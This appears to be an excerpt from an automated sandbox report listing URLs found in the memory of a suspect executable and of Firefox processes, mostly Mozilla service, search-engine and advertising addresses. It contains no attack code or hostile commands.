Source: 5a0a40fcc4.exe, 00000009.00000003.3110177763.0000000005A05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A11131A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3213720342.000002A1186A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3212714323.000002A1185B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: 5a0a40fcc4.exe, 00000009.00000003.3110177763.0000000005A05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A11131A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3213720342.000002A1186A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3212714323.000002A1185B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000017.00000002.3216727039.000002A118861000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://youtube.com/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000017.00000003.3004382726.000002A110800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3005096766.000002A110281000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3153453999.000002A110BB0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.3004897407.000002A110260000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004746392.000002A11023E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A118852000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004570268.000002A11021D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: 5a0a40fcc4.exe, 00000009.00000003.3039741400.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3045821093.00000000059F6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000017.00000002.3154818597.000002A110D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3207650570.000002A1141AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3135318062.000002A10DABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A112288000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A112203000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3128253974.000002A100903000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187767673.000002A112A1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112911000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A11138A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A1113CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11290A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112908000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3233031572.00002DF3FB800000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3231785535.0000145788C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3233603994.00003FF954E04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000017.00000002.3216727039.000002A118861000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://amazon.com/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000017.00000002.3161686085.000002A111203000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000017.00000002.3128253974.000002A100911000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000017.00000002.3146173837.000002A110869000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 5a0a40fcc4.exe, 00000009.00000003.3115145912.0000000001456000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110443000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3130073493.000002A10C0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3119038459.00000147776C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE45E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: 5a0a40fcc4.exe, 00000009.00000003.3115145912.0000000001456000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110443000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3130073493.000002A10C0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3119038459.00000147776C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE45E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 00000017.00000002.3188852634.000002A112B27000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 5a0a40fcc4.exe, 00000009.00000003.3039741400.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3045821093.00000000059F6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 5a0a40fcc4.exe, 00000009.00000003.3039741400.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3045821093.00000000059F6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 5a0a40fcc4.exe, 00000009.00000003.3039741400.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3045821093.00000000059F6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000017.00000003.3004382726.000002A110800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3005096766.000002A110281000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3153453999.000002A110BB0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.3004897407.000002A110260000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3130809061.000002A10C1A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004746392.000002A11023E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004570268.000002A11021D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000017.00000002.3166147320.000002A1115FD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 00000017.00000002.3130809061.000002A10C1E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://content.cdn.mozilla.net
Source: 5a0a40fcc4.exe, 00000009.00000003.3115145912.0000000001456000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110443000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3130073493.000002A10C0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3119038459.00000147776C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE45E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 5a0a40fcc4.exe, 00000009.00000003.3115145912.0000000001456000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110443000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3130073493.000002A10C0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3119038459.00000147776C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE45E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 00000017.00000002.3161686085.000002A111203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3184195797.000002A1126AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000017.00000002.3160186876.000002A11117E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000017.00000002.3161686085.000002A111203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3213720342.000002A11866A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3160186876.000002A111150000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000017.00000002.3128253974.000002A100911000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3128253974.000002A100930000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000017.00000003.3066362859.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3215598843.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3046935792.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3048782464.000002A11873E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076711790.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3071853510.000002A118739000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000017.00000002.3168604978.000002A111AC0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 00000017.00000002.3168604978.000002A111AC0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 00000017.00000002.3168604978.000002A111AC0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 00000017.00000002.3168604978.000002A111AC0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 00000017.00000002.3168604978.000002A111AC0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsFea
Source: firefox.exe, 00000017.00000002.3168604978.000002A111AC0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 00000017.00000003.3066362859.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3215598843.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3047163093.000002A118678000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3048782464.000002A11873E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076711790.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3071853510.000002A118739000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000017.00000003.3066362859.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3215598843.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3048782464.000002A11873E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076711790.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3071853510.000002A118739000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000017.00000003.3066362859.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3215598843.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3046935792.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3048782464.000002A11873E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076711790.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3071853510.000002A118739000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3233603994.00003FF954E04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000017.00000002.3216727039.000002A11886E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004382726.000002A110800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3231924793.000017DE0AC04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3005096766.000002A110281000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3153453999.000002A110BB0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.3004897407.000002A110260000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3227563031.0000132AF7304000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004746392.000002A11023E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A118852000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004570268.000002A11021D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3160186876.000002A111150000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A118852000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
